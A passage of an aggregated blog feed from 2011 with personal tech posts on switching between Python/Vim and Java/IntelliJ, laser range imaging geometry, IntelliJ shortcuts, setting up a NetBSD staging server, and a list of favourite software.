NAT.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Differences Between Python/Gvim and Java/IntelliJ</title>
		<link href="http://www.allthingsexpounded.com/2011/06/differences-between-pythongvim-and-javaintellij/"/>
		<id>http://www.allthingsexpounded.com/?p=2547</id>
		<updated>2011-06-24T11:31:32+00:00</updated>
		<content type="html">&lt;p&gt;Recently I&amp;#8217;ve went from almost exclusively programming in Python with Gvim as my IDE to, while still using Python/Vim here and there, mainly developing with Java and IntelliJ at work.&lt;/p&gt;
&lt;p&gt;When I&amp;#8217;ve went  back and forth between Python/Vim and Java/IntelliJ in the last couple of weeks, I&amp;#8217;ve noticed some interesting things happening.&lt;/p&gt;
&lt;p&gt;Here are differences that have tripped me up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I switch over to the Python/Vim, I find myself not saving because I&amp;#8217;m used to IntelliJ&amp;#8217;s constant auto save and then I wonder why the most recent change isn&amp;#8217;t saved.&lt;/li&gt;
&lt;li&gt;Python&amp;#8217;s lack of explicit type definition, while I understand the reasoning behind it and the advantages, seems way more dangerous than it did before (maybe that is a good thing and will make me a better Python programmer).&lt;/li&gt;
&lt;li&gt;IntelliJ makes my Gvim setup, which I thought was nice, seem like junk. I really do like what JetBrains did with IntelliJ.  Vim seems like such a barren world without IntelliJ features like strong version control integration, strong project integration, crazy code competion (with even code completion integration in templating library markup!) and powerful commands like Ctl-B, Ctl-Shift-B, Ctl-Shift-N, Alt-Insert, etc. Refactoring and reworking code seems to often be more work than it should be even with the most advanced Vim setup.&lt;/li&gt;
&lt;li&gt;The fact that I can just write a .py file without a class directly undergirding it feels weird after being immersed in Java.&lt;/li&gt;
&lt;li&gt;It&amp;#8217;s HARD to switch between Java and Python style naming conventions. This huge Python fan is starting to see the advantages of Java-style naming when it comes to bigger object hierarchies.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here&amp;#8217;s some things I *thought* would trip me up, but haven&amp;#8217;t:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The semi colon to end a line thing versus no semicolon. Transitioning between these styles has presented  no difficulty. Since the change, I&amp;#8217;ve never put a semi-colon in a Python program or vice versa.&lt;/li&gt;
&lt;li&gt;Switching back and forth between the differences in compilation between Java and Python is pretty much a non-issue. Anyways, that sort of stuff should normally be abstracted away from the programmer by an IDE, build tasks, or other deploy processes.&lt;/li&gt;
&lt;li&gt;It&amp;#8217;s easy to continue to appreciate Python&amp;#8217;s less verbose way of doing things!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;#8217;m currently checking out PyCharm (JetBrain&amp;#8217;s Python IDE which is fairly similar to IntelliJ).  Haven&amp;#8217;t used it enough to review it, but I will soon. Maybe this is a way I can bridge the two worlds!  Just for the record, I&amp;#8217;m by no means giving up on Vim. I still love the POWER and FLEXIBILITY of Vim.  I just want to use the right tool for the right job. And while you can do hard core development with Vim, I&amp;#8217;m starting to think it may not be the most efficient tool for the job when compared with IntelliJ/PyCharm (depending, of course, on you are content using the community edition or springing some money for the fully featured product).&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Miss Register, I Presume?</title>
		<link href="http://blog.mavrinac.com/2011/06/miss-register-i-presume/"/>
		<id>http://blog.mavrinac.com/?p=198</id>
		<updated>2011-06-04T19:11:25+00:00</updated>
		<content type="html">&lt;p&gt;In my &lt;a href=&quot;http://mavrinac.com/files/academic/mavrinac10_dualrange.pdf&quot;&gt;AIM 2010 paper&lt;/a&gt;, I describe how to obtain a &lt;a href=&quot;http://en.wikipedia.org/wiki/Homography&quot;&gt;projective transformation&lt;/a&gt; &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmathbf%7BH%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mathbf{H}&quot; title=&quot;\mathbf{H}&quot; class=&quot;latex&quot; /&gt; from the image plane to the laser plane in a &lt;a href=&quot;http://en.wikipedia.org/wiki/Line_laser&quot;&gt;line laser&lt;/a&gt; 3D range imaging system. With the laser oriented vertically (i.e. perpendicular to the transport direction of the object being scanned), this allows for mapping of image coordinates directly to 3D coordinates.&lt;/p&gt;
&lt;p&gt;Specifically, the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28u%2C%20v%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(u, v)&quot; title=&quot;(u, v)&quot; class=&quot;latex&quot; /&gt; coordinates of a point in the image map through &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmathbf%7BH%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mathbf{H}&quot; title=&quot;\mathbf{H}&quot; class=&quot;latex&quot; /&gt; to yield the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2C%20z%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x, z)&quot; title=&quot;(x, z)&quot; class=&quot;latex&quot; /&gt; coordinates in the laser plane. Then, if &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=y_%5CDelta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;y_\Delta&quot; title=&quot;y_\Delta&quot; class=&quot;latex&quot; /&gt; is the transport direction offset between profiles, the 3D coordinates of such a point in profile &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=i&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;i&quot; title=&quot;i&quot; class=&quot;latex&quot; /&gt; are &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2C%20i%20y_%5CDelta%2C%20z%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x, i y_\Delta, z)&quot; title=&quot;(x, i y_\Delta, z)&quot; class=&quot;latex&quot; /&gt;.&lt;/p&gt;
&lt;p&gt;There is an additional step when the angle between the laser and the vertical axis is nonzero, as in the common configuration shown below, where the camera (rather than the laser) is orthogonal to the transport surface.&lt;/p&gt;
&lt;p&gt;&lt;center&gt;&lt;img src=&quot;http://www.mavrinac.com/aaron/ordinary.png&quot; alt=&quot;Ordinary Configuration&quot; /&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;In this case, knowing the angle &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cbeta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\beta&quot; title=&quot;\beta&quot; class=&quot;latex&quot; /&gt; is the key. Assuming the transport direction is positive away from the laser side and the object runs toward the laser, a point &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28u%2C%20v%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(u, v)&quot; title=&quot;(u, v)&quot; class=&quot;latex&quot; /&gt; in the image maps to 3D coordinates &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%28x%2C%20i%20y_%5CDelta%20-%20z%5Csin%5Cbeta%2C%20z%5Ccos%5Cbeta%29&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;(x, i y_\Delta - z\sin\beta, z\cos\beta)&quot; title=&quot;(x, i y_\Delta - z\sin\beta, z\cos\beta)&quot; class=&quot;latex&quot; /&gt;, where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=x&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;x&quot; title=&quot;x&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=z&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;z&quot; title=&quot;z&quot; class=&quot;latex&quot; /&gt; are found as before.&lt;/p&gt;
&lt;p&gt;I have a feeling that it is possible to derive &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cbeta&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\beta&quot; title=&quot;\beta&quot; class=&quot;latex&quot; /&gt; from &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmathbf%7BH%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mathbf{H}&quot; title=&quot;\mathbf{H}&quot; class=&quot;latex&quot; /&gt;. More formally, given the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=3%20%5Ctimes%203&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;3 \times 3&quot; title=&quot;3 \times 3&quot; class=&quot;latex&quot; /&gt; matrix representation &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmathbf%7BH%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mathbf{H}&quot; title=&quot;\mathbf{H}&quot; class=&quot;latex&quot; /&gt; of a projective transformation between two planes &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=P_1&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;P_1&quot; title=&quot;P_1&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=P_2&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;P_2&quot; title=&quot;P_2&quot; class=&quot;latex&quot; /&gt;, and supposing &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=L&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;L&quot; title=&quot;L&quot; class=&quot;latex&quot; /&gt; is the line of intersection of &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=P_1&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;P_1&quot; title=&quot;P_1&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=P_2&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;P_2&quot; title=&quot;P_2&quot; class=&quot;latex&quot; /&gt;, what is the angle &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Calpha&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\alpha&quot; title=&quot;\alpha&quot; class=&quot;latex&quot; /&gt; between vectors &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cvec%7Bn%7D_1&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\vec{n}_1&quot; title=&quot;\vec{n}_1&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cvec%7Bn%7D_2&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\vec{n}_2&quot; title=&quot;\vec{n}_2&quot; class=&quot;latex&quot; /&gt; lying, respectively, in &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=P_1&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;P_1&quot; title=&quot;P_1&quot; class=&quot;latex&quot; /&gt; and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=P_2&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;P_2&quot; title=&quot;P_2&quot; class=&quot;latex&quot; /&gt; and perpendicular to &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=L&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;L&quot; title=&quot;L&quot; class=&quot;latex&quot; /&gt;?&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Fail Early, Fail Often</title>
		<link href="http://alanp.ca/blog/2011/06/01/fail-early-fail-often/"/>
		<id>http://alanp.ca/blog/?p=224</id>
		<updated>2011-06-01T05:31:37+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Falanp.ca%2Fblog%2F2011%2F06%2F01%2Ffail-early-fail-often%2F&amp;amp;title=Fail%20Early%2C%20Fail%20Often&quot; id=&quot;wpa2a_2&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;I have been reading some user experience books lately. While doing so, I came across this gem:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;The ceramics teacher announced on opening day that he was dividing the class into two groups. All those on theleft side of the studio, he said, would be graded solely on the quantity of work they produced, all those on the rightsolely on its quality. His procedure was simple: on the final day of class he would bring in his bathroom scalesand weigh the work of the “quantity” group: fifty pounds of pots rated an “A”, forty pounds a “B”, and so on. Thosebeing graded on “quality,” however, needed to produce only one pot—albeit a perfect one—to get an “A.” Well,came grading time and a curious fact emerged: the works of highest quality were all produced by the group beinggraded for quantity. It seems that while the “quantity” group was busily churning out piles of work—and learningfrom their mistakes—the “quality” group had sat theorizing about perfection, and in the end had little more toshow for their efforts than grandiose theories and a pile of dead clay. (Bayles &amp;amp; Orland 2001; p. 29)&lt;/p&gt;&lt;/blockquote&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2011-09-20T13:00:19+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Some IntelliJ IDEA Notes</title>
		<link href="http://www.allthingsexpounded.com/2011/05/some-intellij-idea-notes/"/>
		<id>http://www.allthingsexpounded.com/?p=2493</id>
		<updated>2011-05-25T14:48:22+00:00</updated>
		<content type="html">&lt;p&gt;Getting adjusted to Java development within &lt;a href=&quot;http://www.jetbrains.com/idea/&quot;&gt;IntelliJ IDEA&lt;/a&gt; has been interesting. It&amp;#8217;s a GREAT development environment.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m using Community Edition 10.0.3&lt;/p&gt;
&lt;p&gt;Here are some quick notes of some commands and features I&amp;#8217;ve found useful:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To enable or disable a plugin: &lt;strong&gt;File, Other Settings, Configure Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Get a plugin from the repository (for example, get the Foo plugin): &lt;strong&gt;File, Settings, Plugins, [wait for it to download the full list], Available tab, right-click &amp;#8220;Foo&amp;#8221;, select &amp;#8220;Download and Install&amp;#8221;, and then press&amp;#8221;Yes&amp;#8221;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Change which SDK your project uses: &lt;strong&gt;Right click project, Open Module Settings, Project, select it in Project SDK section&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Attach a jar file or jar directory to your project: &lt;strong&gt;Right click project, Open Module Settings, Dependencies Tab, Add, Library, and then either &amp;#8220;Attach Classes&amp;#8221; or &amp;#8220;Attach Jar Directories&amp;#8221;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Run your code (Keyboard Shortcut): &lt;strong&gt;Shift, F10&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Go to Settings (Keyboard Shortcut): &lt;strong&gt;Ctl, Alt, S&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Module Settings (Keyboard Shortcut): &lt;strong&gt;F4 (when in module)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find usages of something (Keyboard Shortcut): &lt;strong&gt;Alt, F7&lt;/strong&gt; &lt;strong&gt;(while on it)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Collapse/Expand a method (Keyboard shortcut): &lt;strong&gt;Ctl, Numpad +&lt;/strong&gt; and &lt;strong&gt;Ctl, Numpad -&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Go to Type declaration (Keyboard shortcut): &lt;strong&gt;Ctl, Shift, B&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">NetBSD Episode #3</title>
		<link href="http://www.allthingsexpounded.com/2011/05/netbsd-episode-3/"/>
		<id>http://www.allthingsexpounded.com/?p=2476</id>
		<updated>2011-05-15T21:32:33+00:00</updated>
		<content type="html">&lt;ul&gt;
&lt;li&gt;I overcome the “shared memory segment” error I encountered earlier using postgre&amp;#8217;s initdb by tweaking shared_buffers and max_connections in postgresql. This is just a staging install, so I could take those settings way down.&lt;/li&gt;
&lt;li&gt;I then used pkg_add to install subversion, openjdk7&lt;/li&gt;
&lt;li&gt;I set JAVA_HOME:
&lt;ul&gt;
&lt;li&gt;export JAVA_HOME=/usr/pkg/java/openjdk7/bin/&lt;/li&gt;
&lt;li&gt;export JAVA_HOME&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">NetBSD Episode #2: Continuing On</title>
		<link href="http://www.allthingsexpounded.com/2011/05/netbsd-episode-2-continuing-on/"/>
		<id>http://www.allthingsexpounded.com/?p=2474</id>
		<updated>2011-05-06T10:28:16+00:00</updated>
		<content type="html">&lt;p&gt;Now I&amp;#8217;ve continued, and done the following.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Used pkg_add to install ruby19-rails, wget, links, vsftpd, django, south, and postgresql&lt;/li&gt;
&lt;li&gt;Copied /usr/pkg/share/examples/rc.d/vsftpd to /etc/rc.d/vsftpd&lt;/li&gt;
&lt;li&gt;Copied /usr/pkg/share/examples/rc.d/pgsql to /etc/rc.d/pgsql&lt;/li&gt;
&lt;li&gt;Added vsftpd=YES and pgsql=YES to /etc/rc.conf&lt;/li&gt;
&lt;li&gt;Then I went to initialize the postgres with initdb, ie:
&lt;ul&gt;
&lt;li&gt;useradd -m postgres&lt;/li&gt;
&lt;li&gt;passwd postgres&lt;/li&gt;
&lt;li&gt;mkdir /usr/local/pgsql /usr/local/pgsql/var&lt;/li&gt;
&lt;li&gt;chown -R postgres:users /usr/local/pgsql&lt;/li&gt;
&lt;li&gt;su postgres&lt;/li&gt;
&lt;li&gt;initdb -D /usr/local/pgsql/var&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point, running initdb failed complaining it can&amp;#8217;t create a &amp;#8220;shared memory segment&amp;#8221;. &amp;#8220;This error usually means that PostgreSQL&amp;#8217;s request for a shared memory segment exceeds available memory or swap space.&lt;/p&gt;
&lt;p&gt;I ran out of time this morning and have not had an opportunity to address this yet.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">NetBSD Episode #1: My New Staging Environment</title>
		<link href="http://www.allthingsexpounded.com/2011/05/netbsd-episode-1-my-new-staging-environment/"/>
		<id>http://www.allthingsexpounded.com/?p=2471</id>
		<updated>2011-05-04T01:26:32+00:00</updated>
		<content type="html">&lt;p&gt;Recently I deployed a new staging environment on my home computer. I decided to use NetBSD 5.1 (for the i386 architecture) running on Virtual Box on my desktop.&lt;/p&gt;
&lt;p&gt;Some randomish notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I decided to use blowfish for the user passwords&lt;/li&gt;
&lt;li&gt;I added a non-root user and I changed the hostname to &amp;#8220;hayek&amp;#8221; in /etc/rc.conf&lt;/li&gt;
&lt;li&gt;I want SSHD started by default, so I put sshd=YES into /etc/rc.conf&lt;/li&gt;
&lt;li&gt;In order to get NetBSD&amp;#8217;s package system pkgsrc going, I had to enter the following into my shell
&lt;ul&gt;
&lt;li&gt;export PKG_PATH=&amp;#8221;http://ftp.NetBSD.org/pub/pkgsrc/packages/NetBSD/i386/5.1/All&amp;#8221;&lt;/li&gt;
&lt;li&gt;export PKG_PATH&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I then used pkg_add to install nginx and added a couple lines to /etc/newsyslong.conf as suggested by pkg_add&lt;/li&gt;
&lt;li&gt;I then had to enable nginx in /etc/rc.conf and copy /usr/pkg/share/examples/rc.d/nginx to /etc/rc.d/nginx&lt;/li&gt;
&lt;li&gt;I also used pkg_add to install python (2.7.1) vim, ruby (1.9.2p180), mysql-client, mysql-server (5.1.56)&lt;/li&gt;
&lt;li&gt;Then I set the mysql root user password with /usr/pkg/bin/mysql_secure_installation (although it alternatively if I had more patience, I could have been set directly via mysqladmin)&lt;/li&gt;
&lt;li&gt;I then had to enable mysql in /etc/rc.conf and copy /usr/pkg/share/examples/rc.d/mysql to /etc/rc.d/mysql&lt;/li&gt;
&lt;li&gt;To be continued&amp;#8230;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anyways, this really isn&amp;#8217;t anything out of the ordinary, just thought I&amp;#8217;d share.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Apps I Really Appreciate</title>
		<link href="http://www.allthingsexpounded.com/2011/04/apps-i-really-appreciate/"/>
		<id>http://www.allthingsexpounded.com/?p=2447</id>
		<updated>2011-04-20T13:08:36+00:00</updated>
		<content type="html">&lt;p&gt;This is a start, I&amp;#8217;m not promising this list is complete!&lt;/p&gt;
&lt;p&gt;Networking&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mozilla.com/en-US/firefox/fx/&quot;&gt;Firefox 4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.openssh.com/&quot;&gt;OpenSSH&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://openvpn.net/&quot;&gt;OpenVPN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.tightvnc.com/&quot;&gt;TightVNC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://filezilla-project.org/&quot;&gt;FileZilla&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/&quot;&gt;putty&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://apache.org&quot;&gt;Apache&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://nginx.net/&quot;&gt;nginx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Text Editors&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.vim.org/&quot;&gt;vim&lt;/a&gt; &amp;#8211; Calling it a &amp;#8220;text editor&amp;#8221; is an understatement (in case you are interested, check out my &lt;a href=&quot;https://github.com/MarkNenadov/MarkNenadov_vimrc&quot;&gt;vimrc file&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Graphics&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.gimp.org&quot;&gt;Gimp&lt;/a&gt; &amp;#8211; GNU Image Manipulation Program&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Database Development&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mysql.com/&quot;&gt;MySQL&lt;/a&gt;, &lt;a href=&quot;http://www.postgresql.org/&quot;&gt;PostgreSQL&lt;/a&gt;, &lt;a href=&quot;http://www.sqlite.org/&quot;&gt;SQLite&lt;/a&gt;, &lt;a href=&quot;http://www.mongodb.org/&quot;&gt;MongoDB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/sqlite-manager/&quot;&gt;sqlite-manager&lt;/a&gt; &amp;#8211; A really, really handy SQLite front-end as a Firefox extension&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.heidisql.com/&quot;&gt;HeidiSQL&lt;/a&gt; &amp;#8211; My prefered GUI MySQL front-end&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Languages / Platforms&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.python.org/&quot;&gt;Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.djangoproject.com/&quot;&gt;Django&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://ruby-lang.org/&quot;&gt;Ruby&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://zope.org&quot;&gt;Zope&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Android Apps&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DoggCatcher &amp;#8211; excellent audio/podcast manager&lt;/li&gt;
&lt;li&gt;Google Reader/Places/Maps/Talk&lt;/li&gt;
&lt;li&gt;Dropbox&lt;/li&gt;
&lt;li&gt;Amazon Kindle&lt;/li&gt;
&lt;li&gt;SL4A / Python for Android (Python on the android!)&lt;/li&gt;
&lt;li&gt;gh4a (Git Hub for the Android)&lt;/li&gt;
&lt;li&gt;Droidstack (for the stack sites, like stackoverflow)&lt;/li&gt;
&lt;li&gt;Urban Spoon&lt;/li&gt;
&lt;li&gt;GasBuddy&lt;/li&gt;
&lt;li&gt;Olivetree Bible Reader&lt;/li&gt;
&lt;li&gt;ESV Bible App&lt;/li&gt;
&lt;li&gt;The Weather Channel&lt;/li&gt;
&lt;li&gt;iBirdLite&lt;/li&gt;
&lt;li&gt;Traffic Jam (game)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Web Services/Apps&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google Mail/Reader/Maps/etc.&lt;/li&gt;
&lt;li&gt;(ok I&amp;#8217;ll say Facebook)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/&quot;&gt;StackOverflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.flickr.com/&quot;&gt;Flickr&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.linkedin.com/&quot;&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.basecamphq.com/&quot;&gt;BaseCamp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.wordpress.org/&quot;&gt;WordPress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pinterest.com/&quot;&gt;Pintrest&lt;/a&gt; &amp;#8211; Ok, this is my wife&amp;#8217;s toy &lt;img src=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/li&gt;
